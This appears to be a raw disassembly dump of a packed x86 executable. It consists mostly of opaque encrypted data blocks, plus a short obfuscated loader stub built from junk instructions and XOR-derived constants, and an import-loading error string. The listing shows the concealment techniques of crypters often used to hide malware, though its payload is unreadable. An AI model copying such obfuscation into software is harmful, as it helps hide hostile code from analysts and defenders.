		dd 0B259F8ABh, 8FC181E1h, 6600006Fh, 0CAB8D88Bh, 8100001Bh
		dd 533256F6h, 5F31FF7Dh, 5E2FB256h, 0E45DC781h,	8F0F1DBEh
		dd 0
		dd 0D6E6F781h, 66606754h, 0F59EFBAh, 68Eh, 2FC08100h, 613A72C5h
		dd 5F74C781h, 0F9BE6B2Dh, 897E2506h, 0F7BF0F39h, 4804E983h
		dd 0FFBB850Fh, 8166FFFFh, 0EB0B90D6h, 1150B304h, 0E04E929h
		dd 0C0680000h, 0E90621CCh, 0FFF9B3C8h, 21CDB668h, 0B3BEE906h
		dd 9B68FFF9h, 0E90621CEh, 0FFF9B3B4h, 21CF3568h, 0B3AAE906h
		dd 0AF68FFF9h, 0E90621D2h, 0FFF9B3A0h, 21D57868h, 0B396E906h
		dd 0B268FFF9h, 0E90621D6h, 0FFF9B38Ch, 36D97480h, 9336D5A1h
		dd 0F08F363Ch, 9A3DD81Bh, 0E2852C45h, 7D745D7Fh, 0D49C33D6h
		dd 7C798E31h, 0CAA53ADDh, 0AF568827h, 0E9B7A930h, 5BE7C838h
		dd 9E37DE1Bh, 0D6791855h, 0A92C9D24h, 0B6D9B23h, 3EE2ECE4h
		dd 622674FBh, 4BB9C4F5h, 5DF8FBC8h, 4DE68AC0h, 2D66E3F6h
		dd 0DF720CC7h, 69D0FF75h, 3F59FCh, 3EE90000h, 47961DA7h
		dd 0C13EC87Dh, 0D67411B8h, 0EB72F056h, 0F5485A64h, 24A71DC4h
		dd 0AA42C698h, 56FAFC7Ch, 417386BDh, 29CC72Ch, 0EDCF056Fh
		dd 1089FC68h, 0FC000000h, 23C74D70h, 18B8C9BEh,	91E0212h
		dd 1B580000h, 0A99C39DCh, 5BFB9EDAh, 23C66986h,	0DC5F6AEFh
		dd 8657DC59h, 0D93EC87Dh, 7D10E966h, 0D96F3EC8h, 5872B757h
		dd 0CCC4F559h, 0F601F7F7h, 1238D553h, 0D04FF26Eh, 0C72CA109h
		dd 0DD60E268h, 0A246E906h, 4E7BC89h, 0A57ECC69h, 0C68B2BC6h
		dd 0C72CA133h, 0C52F42DCh, 0FC69918Fh, 0E289703Fh, 67853Eh
		dd 7C000000h, 4FB5D4D3h, 0DC836EB6h, 0E5890743h, 0CBA73E5Fh
		dd 0D8720BAAh, 0F1FCD35Ah, 0F195B552h, 0AEF3B12Eh, 0DE6CC4F4h
		dd 0FC780441h, 3063A4FAh, 6FC9D945h, 7FAF60E3h,	0AC4CCE71h
		dd 2C3652A7h, 3A2CCC7h,	0C970896Ah, 5F5D102Ch, 4572AF53h
		dd 86B4BB5Dh, 56F029Ch,	0FC695CCFh, 10089h, 4B27FC00h
		dd 9F3F0BA4h, 57966D99h, 7DAD2CB3h, 46C43EC8h, 4A1F2BC4h
		dd 57F38C2Bh, 0B25522B7h, 6C13DE15h, 0B45720D3h, 0EE9FD81Bh
		dd 0D66CC004h, 8F32B0D7h, 0C86A15C8h, 1A4D33Eh,	0CB6E895Eh
		dd 5E5DE432h, 0EC80D508h, 7A1D5B0Eh, 6DEB6DDDh,	5AF369E6h
		dd 0AE85C4F5h, 0C17D21C0h, 24A1A443h, 2CA65E9Fh, 79331C7h
		dd 0E2FF4E77h, 2F4941Ah, 738A09BBh, 0EC72C68h, 9C73FA78h
		dd 0B4962FD6h, 682BB231h, 0C046C72Ch, 0F0961D20h, 633D12CEh
		dd 62915EE5h, 991C2EC7h, 0E12C31Ah, 88289ECDh, 5C03EEC5h
		dd 4BEE0AD9h, 7A778CABh, 78BA03D3h, 2B0443C0h, 0AC8AFh
		dd 7E195B00h, 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh
		dd 617072D7h, 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h
		dd 0B1B24BC8h, 0DCCD38E9h, 6BE86D66h, 3EC87D92h, 22B757EDh
		dd 7D1C5957h, 49E86AE0h, 7F22C5B2h, 1DA73EB7h, 0C87D4796h
		dd 2EAC1A3Eh, 0AE0A28A7h, 6FD5C4F4h, 0B2686DD6h, 0CAA6C72Ch
		dd 88658E27h, 27C06792h, 2F08A523h, 6B3470FFh, 8D25FDE1h
		dd 1903ED6Bh, 5B74EC56h, 0C3E2FC69h, 63000000h,	23C3628Ch
		dd 39DC1B1Dh, 731A579Ch, 7AB469DAh, 0EFC43EC8h,	25BA5E01h
		dd 0F308A74Ah, 81C46104h, 8020C7B2h, 0B92378Eh,	0AA81684h
		dd 0BA16A23Bh, 4F702218h, 86C266h, 26C9A67Dh, 0EA6FA382h
		dd 358455DAh, 6DDBC72Ch, 0DAEB68EBh, 0A53D1290h, 0AAC79C1Fh
		dd 7E058003h, 0CD0ED97Fh, 35D47412h, 5C2CD39Eh,	43C0B355h
		dd 0D2805A33h, 65000009h, 0B64DEC87h, 617619B8h, 0B84FF299h
		dd 6A8120BBh, 2449E88Fh, 7F26537Eh, 4AED0BE0h, 862550A7h
		dd 40E30CE3h, 29A62DA1h, 38E9B0D0h, 1B04BEAFh, 959837DEh
		dd 90374310h, 0C87DF20Bh, 57F78D3Eh, 4BD27582h,	7DB049C6h
		dd 78763EC8h, 4BEB59D9h, 0DC1B66ECh, 0F07215E2h, 30D39C57h
		dd 7FF8FB91h, 890C8F3Ah, 7D76870Ch, 7B093EC8h, 59E056DBh
		dd 976CC4F5h, 3119B659h, 3E33D18Dh, 0EA7311C5h,	2A501F98h
		dd 6A52EA83h, 2879FA65h, 190BAB2Dh, 17E05C4h, 94EBBD0Bh
		dd 429B189Dh, 1D74CB9Fh, 0AF4B07A7h, 439E62CAh,	7716E05Eh
		dd 1FF477F9h, 340DB14Ch, 95344211h, 7CAE52F8h, 0CF6DD6E5h
		dd 7A34FCD3h, 51EE75F8h, 0C48EEA1Eh, 7F0BF46h, 0BB3DE40Dh
		dd 5A8C71Ch, 0E3947431h, 69713EF3h, 8EDh, 36D97480h, 9336D5A1h
		dd 0F08F363Ch, 9A3DD81Bh, 0E2852C45h, 7D745D7Fh, 0D49C33D6h
		dd 7C798E31h, 0CAA53ADDh, 0AF568827h, 0E9B3A930h, 5BE7C838h
		dd 0B239DC1Bh, 0D16E15DDh, 0DA3CD579h, 40BF4683h, 0C4F55AAAh
		dd 6605F1BEh, 61DD81C9h, 629360E3h, 9ECF24C3h, 902DD0A8h
		dd 0F0D788ACh, 9C1E1858h, 3BC2811Eh, 4FC72C7Eh,	3AD37A80h
		dd 16EB7010h, 33C72C4Eh, 1B981BAEh, 3D16AF2Dh, 0C67F18AEh
		dd 0F66D8E42h, 815A0A24h, 0D82DD178h, 712CFC9Fh, 4F43CE38h
		dd 8531CBEh, 6E60000h, 3737CC6Bh, 18E2F998h, 3A39CE71h
		dd 0EEB009Fh, 0FFA5C867h, 6100A7D2h, 2CCB6E8Ah,	58F796D7h
		dd 2ED17483h, 439A19BCh, 1E38E9B2h, 966D754Dh, 0E315B958h
		dd 6BE86B5Eh, 0C4F55C7Dh, 56EF88FEh, 0E5BF6C89h, 6EAF89CEh
		dd 4EA343C5h, 0E6F77C20h, 79C72CF4h, 9639360Bh,	905E7514h
		dd 7AC254F1h, 0D957FAF6h, 8950CF52h, 0D8C72CF4h, 74AA0B46h
		dd 0F49212CBh, 4352D154h, 1EC72C90h, 0D1FB0FA8h, 7E744B7Eh
		dd 6C0C3ED7h, 97615797h, 4CD376F4h, 0C72C9089h,	2EB512AAh
		dd 2C90F4B1h, 3ADD6BC7h, 0A3D3C9A5h, 5AE98604h,	0C72C938Fh
		dd 6D857F79h, 48AB44C6h, 0F7ED8A31h, 0B9B53A15h, 4BCD7D1Ah
		dd 0DD105F8Dh, 4DBBD94Fh, 943455BEh, 3F392F3Fh,	0EBC11897h
		dd 2AA0C72Ch, 1EA32AA8h, 2CEB58A1h, 2DD137C7h, 59FDF90Eh
		dd 2CEB03DAh, 6AE85EC7h, 0EBD376CDh, 1EDC72Ch, 422EC562h
		dd 6F44069Fh, 1843DC83h, 13D5034Eh, 15E166E9h, 0EBEBF271h
		dd 86C72Ch, 952BDF82h, 5F1DAB32h, 31F1474Dh, 69F462Ch
		dd 1F22C644h, 2C735AA0h, 36CF35C7h, 0CC0D920Fh,	0A3C72C73h
		dd 0A6BC8125h, 4F534E97h, 3DA59DCh, 5EBB4AD4h, 93DE48E8h
		dd 75EB329h, 1B0A588h, 3E1D0000h, 0BAACBA7h, 0D35AD872h
		dd 0F552224Ch, 4CCF35C4h, 5DFCFAC9h, 0A44333C0h, 826D8226h
		dd 0CCAB40DFh, 0A1CDA229h, 902DC8ABh, 0AB9F38BAh, 6A11320Bh
		dd 0F0BE6503h, 0E4BDC755h, 0F37A7D41h, 20DC5867h, 12B685C0h
		dd 0BE469E8h, 0CC57E568h, 325D3408h, 41967519h,	1CFA9336h
		dd 8F6403C4h, 0A637BC5Ch, 0B94C5610h, 0C246CD4Bh, 4AD35C15h
		dd 0F34CEC52h, 0CF727D52h, 0FA9DDA2Fh, 0D4778057h, 61C3083Bh
		dd 0E905DADBh, 0E83FBE45h, 0B4523EDBh, 195A9936h, 0FB29E17Eh
		dd 6DB14674h, 0EF925DE2h, 19BCBB50h, 11B0BD92h,	0FA42D46Dh
		dd 3DCB46CDh, 9831A4B9h, 75BA5EA7h, 3EDBED64h, 963936FBh
		dd 45CA51F9h, 3EDBEDB4h, 1CBB3DCBh, 8D2C4A19h, 8CF0E4FDh
		dd 7216C3A0h, 50ED945Dh, 9F541EF5h, 7781370Dh, 0E27BFD7Ah
		dd 0E56C868h, 0D0AD32B9h, 473EDBDFh, 0AEC91EC1h, 0B8C1BBB4h
		dd 54D67411h, 74118FBBh, 32CB727Fh, 0F0232ED8h,	33B05023h
		dd 3EDBDFAAh, 24C13FC5h, 7CFEA1CFh, 45E807DCh, 0A7D09FA2h
		dd 608F6404h, 4FE88766h, 63766FFBh, 0ACB3F6FAh,	3F85912Eh
		dd 877E0588h, 1A3EDB89h, 0C4480DACh, 0D6EDDD7Bh, 0E7FC9CABh
		dd 3CE30E08h, 8C29A7A3h, 64E78667h, 919B62E1h, 70EF3EDBh
		dd 3EDB9169h, 84028208h, 0EF994BE4h, 0F99CDB60h, 0EFFCD356h
		dd 501FB454h, 0BE0610ADh, 8FD8209h, 9F3EDB91h, 0FE449A1Bh
		dd 0A3251071h, 5FFEEF04h, 0C7B07FC6h, 4A928424h, 9079F67Dh
		dd 0F3EDB56h, 0DBB05722h, 0DC7BFD98h, 0F7ECD359h, 47344F7Ch
		dd 0DC1BA1A7h, 0DD649639h, 599A69ECh, 98171ABEh, 0C4F5411Eh
		dd 0F3C043C1h, 81C46302h, 752411FBh, 0F99D65E7h, 0CD6A09E4h
		dd 53D0F449h, 0C72CAB8Ah, 5AE15FE5h, 118C17D5h,	25C2483Dh
		dd 1FCDB1Eh, 0E8E178CDh, 0FDF0DE65h, 0A77C373Ch, 0B08C29C4h
		dd 90DC45Bh, 8D31AF7Bh,	35B033D1h, 66CE2FAEh, 24C442D3h
		dd 6C0FE80Bh, 0A8A40B9Ch, 22B8555Dh, 4D9h, 42E5806Ch, 7F22C1ADh
		dd 4CEB9268h, 7619B4B7h, 4EF19861h, 2158792Bh, 0F800D77Ah
		dd 501DB255h, 0FEF90EB1h, 8B0ABC5Bh, 0E9AFF504h, 1FA38C38h
		dd 9B22A73Eh, 3EB6B0Dh,	0FD8ED0DAh, 7CF1813Ch, 0D356FAB2h
		dd 0F527A24Ch, 0B64FB5C4h, 2D354F8Dh, 89C8B6C7h, 69FDA91Fh
		dd 0A8AFFCh, 49160000h,	0A1483230h, 24C44604h, 7D466B1Eh
		dd 8D173EC8h, 0C6B1ABC4h, 7D58A11Eh, 0D1373EC8h, 333DB64Fh
		dd 0D553F790h, 0F742B453h, 0C5BC43CAh, 553EC87Dh, 7D8A53D0h
		dd 5FE53EC8h, 7E0583BFh, 8825C4B1h, 7DA736BDh, 4CBA3EC8h
		dd 0E2112ACEh, 5BCF7215h, 0B73CBF02h, 3EC87DDEh, 0C92AC341h
		dd 0BB880BAEh, 9D7C1CBBh, 6AF1D069h, 0C87DF0E5h, 6401873Eh
		dd 34421ADFh, 0A4282BC1h, 593E094Ah, 8F791DA4h,	0BE035EC0h
		dd 0FEC5B837h, 7E55C137h, 0BE35D26Dh, 0DA700DB4h, 0E7CB858h
		dd 0B67B6Bh, 0BD80000h,	9EAC49ECh, 0A73E34FAh, 2A149B22h
		dd 0ADC4F55Ch, 7B757E17h, 7DC539D8h, 4540BF46h,	0DCC72C9Ch
		dd 6E72D16Eh, 97C72C9Ch, 0C0F862EDh, 0CFC6996h,	81200F80h
		dd 0C0609D12h, 7707h, 0A43E7B00h, 0C6179C1Fh, 993EC87Dh
		dd 0D2B2DA1Dh, 8907126Bh, 46E907ECh, 81A9EA3h, 2E20709Eh
		dd 0D250EFFFh, 5362FC2Eh, 0FE5BF7CBh, 0D6A378F5h, 0A52AB12Fh
		dd 3EC853E0h, 0E24D0377h, 0B7319839h, 0C09917B6h, 0F89513BAh
		dd 0CBB7B64Bh, 125D873Eh, 169D26B0h, 37B7F499h,	62E164C1h
		dd 0C137B79Bh, 9D3C39F6h, 28C84A00h, 36FB9E2Ch,	50ED8C69h
		dd 0B65521FAh, 0C78D3119h, 462BDC1Bh, 7222B201h, 90B552D0h
		dd 7411B4C3h, 0D29D32D6h, 479E902Fh, 0CA94C2Bh,	0E36508E7h
		dd 9F483757h, 0B23006AEh, 6766A42Bh, 34F9C4F5h,	862D4537h
		dd 61DF61E9h, 677A7FC4h, 0BAB4C72Dh, 8271821Bh,	0C8A54EE7h
		dd 0FCBE8C29h, 67517FD2h, 1048B2BDh, 0BCFC69D0h, 4F13D030h
		dd 6AE07D20h, 0C8D96DAh, 20736Ch, 3ECF0000h, 149B22A7h
		dd 0C4F4AE1Eh, 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh
		dd 0D57Ch, 0DC1B0600h, 0DAA99C39h, 0ED5DFA9Dh, 16BDB449h
		dd 0DA7D7A79h, 4A84083Dh, 0D0463E24h, 58F7F7CCh, 0AC5423B8h
		dd 0C8B5D627h, 9D1BA93Eh, 0B28035FAh, 313E3EC8h, 0DB14EB8Eh
		dd 0E2779F38h, 0BE9C5DE2h, 55F33EC8h, 0D9D350D3h, 8BC4F59Dh
		dd 8F1BBAB4h, 273D5329h, 0D49ED71h, 9F26D877h, 0A31EA32Ah
		dd 2DF6DD1Ch, 7216B4C7h, 135F7CADh, 0CE55F33Dh,	8851CE53h
		dd 0E7CD0F99h, 5128BD61h, 9F007AAh, 0F36B8E62h,	0D05D43C1h
		dd 2100Ah, 36D1A300h, 93323C93h, 6C13DFF4h, 9A3536CDh
		dd 7219E0F7h, 0D9F8AACFh, 8156F9A0h, 9E35D477h,	7A9130CFh
		dd 8337DA7Dh, 0A87A8300h, 541538E9h, 37DE1B6Eh,	4B079598h
		dd 2CE13319h, 11DEF393h, 0C59C6360h, 0A927A391h, 0A73E4006h
		dd 99169B22h, 3EC87D40h, 0FB19A91Fh, 5556BE7h, 49CC8F2Fh
		dd 36DA7D7Ah, 0F49333F1h, 811EACC4h, 5FFEEFC4h,	28C86F8Ah
		dd 2D71DE23h, 125D47C7h, 69BE30A8h, 10426FCh, 1B9C0000h
		dd 7611E2DCh, 61985BF4h, 8F5C33BAh, 4FEF5BF4h, 73804FF6h
		dd 6B0B3FD8h, 0C87A33E6h, 5F02ED3Eh, 0A94C2BC0h, 831E4D22h
		dd 6E8B60EAh, 370E27C7h, 86A435BAh, 4DBBC137h, 86B049C6h
		dd 39CFC137h, 94DE6395h, 2D1DBA59h, 0ECA6849Dh,	81FFFF87h
		dd 66B775FAh, 0A2283B0Ah, 0EB60BFFh, 2C6A4891h,	179C27C7h
		dd 0C72C6AC6h, 1DAD2B99h, 8C9E9026h, 0D9012E2h,	1202D886h
		dd 66ED5B3Dh, 37DE14EBh, 97D7AC9Eh, 4BEB5FF8h, 9114BBB6h
		dd 0A044180Bh, 0AF367C40h, 0FC1A930h, 9E42C8CDh, 8E5BA7Fh
		dd 0DA7ECC69h, 7145EC05h, 43C1AB4Ch, 0D621B956h, 69000000h
		dd 0BA51F08Bh, 657A1DBCh, 0AC43E68Dh, 6E8524BFh, 183DDC83h
		dd 7B224F82h, 46E907DCh, 82214CA3h, 4CEF08DFh, 159A39ADh
		dd 38E9ABC4h, 1BF0D29Bh, 31B437DEh, 0C87D2BB2h,	20C0463Eh
		dd 8A673C01h, 60004AE3h, 84726C8Bh, 800248E5h, 0DC1B59E1h
		dd 18579C39h, 804FD275h, 0FC2ED279h, 3EE50D65h,	9BBA39BCh
		dd 7FC4EA37h, 7FB17602h, 0A79935D7h, 16ACDB22h,	0C44BB6C7h
		dd 0C716AC35h, 9C3CBE4Ch, 668D2AA0h, 0AC43E689h, 0BC8720C3h
		dd 1645249Eh, 3ABF929Ch, 0E0F79A3Dh, 18DB7417h,	63A740DBh
		dd 4631B6B9h, 78111095h, 0CDA43B8Bh, 3FC18926h,	0AEC91EC1h
		dd 0BDBB880Bh, 84F8E15h, 0A422F466h, 31A98226h,	0Dh, 51A827AAh
		dd 30F46608h, 8630F69Ah, 3ED91BBCh, 822552A1h, 40DF0EE5h
		dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h
		dd 47E610E3h
		db 0AEh, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	0B18h
		mov	[esp], esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	545Fh
		mov	[esp], ebx
		push	74CF0DD3h
		pop	ebx
		xor	ebx, 72EEC748h
		mov	esi, ebx
		pop	ebx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		add	dword ptr [esp], 714E5F46h
		pop	dword ptr [ebp+8]
		push	esi
		mov	esi, 64755A1Ah
		and	esi, 0DDF6AB5h
		sub	esi, 72342BDAh
		sub	esi, 20D2BEF0h
		sub	[ebp+8], esi
		pop	esi
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dd 0CD5499C9h, 0E67762DDh, 3CD16B0Eh, 0ADB85A72h, 30621D7h
		dd 0EFE0FFC5h, 0E11D2443h, 0B60B9347h, 0D312E18Ah, 71044048h
		dd 3E213EA3h, 510B6BD2h, 6F1EB562h, 0D03FBFE3h,	0AB355AF6h
		dd 80E4102h, 84D3652h, 5F633059h, 467B030Eh, 0E43D09B0h
		dd 0C82A98AFh, 0C56CFBADh, 9604F754h, 635CD7FEh, 0A351D58h
		dd 0CF7AD988h, 5C0B4ED8h, 0A424A71Ah, 0A755CF69h, 0D63A3E02h
		dd 55EF418h, 0DA237AFEh, 16ED3F2h, 0E91E9186h, 127h, 73765B50h
		dd 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0F38F96A6h
		dd 11340E45h, 35B11C13h, 4229244Fh, 722B6166h, 0A9F29E35h
		dd 88321177h, 699390EFh, 0BFBF137Dh, 172FB32Bh,	0D069C699h
		dd 751BA8E5h, 5632137Dh, 0A9614571h, 88321177h,	699390EFh
		dd 0BFBF137Dh, 172FB65Ah, 0D069C699h, 0F9B1D5EDh, 2413CC40h
		dd 1B61A66h, 5321566h, 658A0FE3h, 0AFE2EA60h, 308A5FE3h
		dd 4EE2EA60h, 5F1188E3h, 705A4360h, 0EEAEBDDEh,	931D04D3h
		dd 2B79860h, 0DD340B16h, 90B79CB6h, 5340E4Dh, 65EBE3E3h
		dd 0A7BF4560h, 1713CDB1h, 0FDA7EA36h, 83340E6Bh, 3930C8E3h
		dd 11321560h, 15B7D366h, 1340E45h, 505B7C0Eh, 0E887EAE8h
		dd 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h, 0A3500E3h, 15B7D360h
		dd 7340E45h, 45594B0Eh,	0E887EAFAh, 5340E4Dh, 5F0B0AE3h
		dd 0ABE2EA60h, 30EB1BE3h, 15B7D360h, 10340E45h,	405A3C0Eh
		dd 0E887EA88h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	30EB07E3h
		dd 15B7D360h, 1340E45h,	420AD70Eh, 0E887EABCh, 5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EB03E3h, 5D8F9660h,	44340E7Ah
		dd 22779069h, 94F41566h, 8E2936FBh, 3AB47D23h, 97CDEF46h
		dd 17293E9Fh, 0B12D90EBh, 94CD137Dh, 0FB2890EFh, 94F41347h
		dd 8E2936FBh, 94F17D2Ah, 97CDF540h, 17293E9Fh, 0B12D90EBh
		dd 94CD137Dh, 0FB2C90EFh, 51DB1347h, 4E321566h,	5F1188E3h
		dd 2F5A4760h, 0EE8E5F82h, 931AF8D3h, 5BB79860h,	0DD340E5Fh
		dd 0BB79CB6h, 4E3434BFh, 5F1188E3h, 6A5A4760h, 0EE94592Ch
		dd 931AF8D3h, 5BB79860h, 0DD340E5Fh, 0FB79CB6h,	4E3434BFh
		dd 5F1188E3h, 0C85A4760h, 0EECF57D2h, 9319ECD3h, 5BB79860h
		dd 0DD340E5Fh, 1CB79CB6h, 4E340E55h, 5F1188E3h,	815A6260h
		dd 0EEC182CEh, 931BA0D3h, 5BB79860h, 0DD340E5Fh, 58B79CB6h
		dd 4E340E42h, 5F1188E3h, 355A4760h, 0EEB8C857h,	9319ECD3h
		dd 5BB79860h, 0DD340E5Fh, 7CB79CB6h, 4E340E6Fh,	5F1188E3h
		dd 1B5A4360h, 0EEE60A0Bh, 931D04D3h, 2B79860h, 0DD340B16h
		dd 24B79CB6h, 4E340E66h, 5F1188E3h, 585A5260h, 0EEB3C976h
		dd 9319ECD3h, 5BB79860h, 0DD340E5Fh, 0ECB79CB6h, 4E340E6Dh
		dd 5F1188E3h, 0C05A5260h, 0EEB81AD3h, 9319ECD3h, 5BB79860h
		dd 0DD340E5Fh, 2FB79CB6h, 0B3434BFh, 5F3F84DBh,	0A63D1560h
		dd 11321337h, 0ABAF90A0h, 2C7E137Dh, 0FBE8098Fh, 3ACBA099h
		dd 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC4Ch,	0ABAF90A0h
		dd 2C7E137Dh, 0FF46CBA8h, 3ACBA099h, 0DBF137Dh,	42292C79h
		dd 0A7BBC599h, 1713CC48h, 0ABAF90A0h, 2C7E137Dh, 95B39759h
		dd 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h,	1713CC54h
		dd 0ABAF90A0h, 2C7E137Dh, 911D557Eh, 3ACBA099h,	0DBF137Dh
		dd 42292C79h, 0A7BBC599h, 1713CC54h, 0ABAF90A0h, 2C74137Dh
		dd 98EC1372h, 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h
		dd 1713CC5Ch, 0ABAF90A0h, 2C75137Dh, 0A3EE051Ch, 3ACBA099h
		dd 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC24h,	0ABAF90A0h
		dd 2C75137Dh, 0CDB59BCAh, 3ACBA099h, 0DBF137Dh,	42292C79h
		dd 0A7BBC599h, 1713CC20h, 0ABAF90A0h, 2C75137Dh, 0F6A8B2B4h
		dd 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h,	1713CC2Ch
		dd 0ABAF90A0h, 2C75137Dh, 98F32C62h, 3ACBA099h,	0DBF137Dh
		dd 42292C79h, 0A7BBC599h, 1713CC28h, 8BBBA8E5h,	3132137Dh
		dd 0BFB7D346h, 56340E45h, 0FA1F720Eh, 0BD87EA86h, 0AF340E4Dh
		dd 0A0B0AE3h, 1E2EA60h,	65EB47E3h, 0BFB7D360h, 56340E45h
		dd 0A181A40Eh, 0BD87EAE8h, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h
		dd 65EB43E3h, 0BFB7D360h, 52340E45h, 0FE78B20Eh, 0BD87EAA6h
		dd 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h, 65EB4FE3h, 0BFB7D360h
		dd 5D340E45h, 0EE5EFE0Eh, 0F187EA9Dh, 0AF340E4Fh, 0A0B0AE3h
		dd 1E2EA60h, 65EBFBE3h,	0BFB7D360h, 55340E45h, 0FBBC400Eh
		dd 0BD87EADDh, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h,	65EB4BE3h
		dd 0BFB7D360h, 52340E45h, 65CE90Eh, 0BD87EADAh,	0AF340E4Dh
		dd 0A0B0AE3h, 1E2EA60h,	65EB77E3h, 0BFB7D360h, 42340E45h
		dd 980CBF0Eh, 0BD87EAA0h, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h
		dd 65EB73E3h, 0EF8F9660h, 11340E60h, 88D29169h,	0C1F41566h
		dd 242936FBh, 0DF037D20h, 3DCDEFF0h, 42293E9Fh,	1B2D90EBh
		dd 0C1CD137Dh, 51F090EFh, 0C1F41347h, 242936FBh, 2BE47D20h
		dd 3DCDE9C1h, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh,	51E090EFh
		dd 0C1F41347h, 242936FBh, 0B5327D20h, 3DCD879Ah, 42293E9Fh
		dd 1B2D90EBh, 0C1CD137Dh, 51E490EFh, 0C1F41347h, 242936FBh
		dd 5E587D20h, 3DCDE3B2h, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh
		dd 51E890EFh, 0C1F41347h, 242936FBh, 41D57D20h,	3DCD81ABh
		dd 42293E9Fh, 1B2D90EBh, 0C1CD137Dh, 51F490EFh,	0C1F41347h
		dd 242936FBh, 65097D20h, 3DCDA444h, 42293E9Fh, 1B2D90EBh
		dd 0C1CD137Dh, 51F890EFh, 0C1F41347h, 242936FBh, 0FBDF7D20h
		dd 3DCDCA1Fh, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh,	51FC90EFh
		dd 0F9B11347h, 242916EFh, 0D7126066h, 931188E3h, 1A5A4660h
		dd 0DDFCAB86h, 0A19ECD3h, 97B79860h, 0BB340E5Fh, 48B79CB6h
		dd 0D73434BFh, 931188E3h, 0C35A5260h, 0DDF5A438h, 0A19ECD3h
		dd 97B79860h, 0BB340E5Fh, 4CB79CB6h, 923434BFh,	93319CDBh
		dd 64471560h, 1AF90A0h,	7975137Dh, 6E506B63h, 6FCBA099h
		dd 0A7BF137Dh, 17292C79h, 0DBBC599h, 4213CC14h,	1AF90A0h
		dd 7971137Dh, 1A481C90h, 6FCBA099h, 0A7BF137Dh,	17292C79h
		dd 0DBBC599h, 4213CC10h, 1AF90A0h, 7971137Dh, 74138246h
		dd 6FCBA099h, 0A7BF137Dh, 17292C79h, 0DBBC599h,	4213CC1Ch
		dd 21BBA8E5h, 6432137Dh, 15B7D326h, 7340E45h, 229A160Eh
		dd 0E887EAEDh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	30EB97E3h
		dd 15B7D360h, 7340E45h,	7904C00Eh, 0E887EA83h, 5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EB6BE3h, 15B7D360h,	7340E45h
		dd 8800F40Eh, 0E887EA8Ch, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h
		dd 30EB93E3h, 15B7D360h, 7340E45h, 0D39E220Eh, 0E887EAE2h
		dd 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h, 30EB9FE3h, 15B7D360h
		dd 0B340E45h, 17A2C10Eh, 0E887EAF1h, 5340E4Dh, 5F0B0AE3h
		dd 0ABE2EA60h, 30EB9BE3h, 15B7D360h, 0B340E45h,	4C3C170Eh
		dd 0E887EA9Fh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	30EB87E3h
		dd 15B7D360h, 9340E45h,	154B5C0Eh, 0E887EAAEh, 5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EB8FE3h, 15B7D360h,	9340E45h
		dd 0D57F9C0Eh, 0E887EABAh, 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h
		dd 30EB83E3h, 15B7D360h, 11340E45h, 391F220Eh, 0E887EAFAh
		dd 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h, 30EB8BE3h, 15B7D360h
		dd 7340E45h, 0F7C23F0Eh, 0E887EAB4h, 5340E4Dh, 5F0B0AE3h
		dd 0ABE2EA60h, 30EBB7E3h, 15B7D360h, 16340E45h,	6086FF0Eh
		dd 0E887EA9Bh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	0A0118E3h
		dd 15B7D360h, 3340E45h,	0BA6B8C0Eh, 0E887EA84h,	5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EBB3E3h, 15B7D360h,	3340E45h
		dd 0DF52D70Eh, 0E887EAD7h, 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h
		dd 30EBBFE3h, 15B7D360h, 3340E45h, 84CC010Eh, 0E887EAB9h
		dd 5340E4Dh, 5F0B0AE3h
		dd 0ABE2EA60h, 30EBBBE3h, 15B7D360h, 1B340E45h,	72C07D0Eh
		dd 0E887EAF8h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	30EBA7E3h
		dd 15B7D360h, 0B340E45h, 0DE492A0Eh, 0E887EAA1h, 5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EBCBE3h, 15B7D360h,	3340E45h
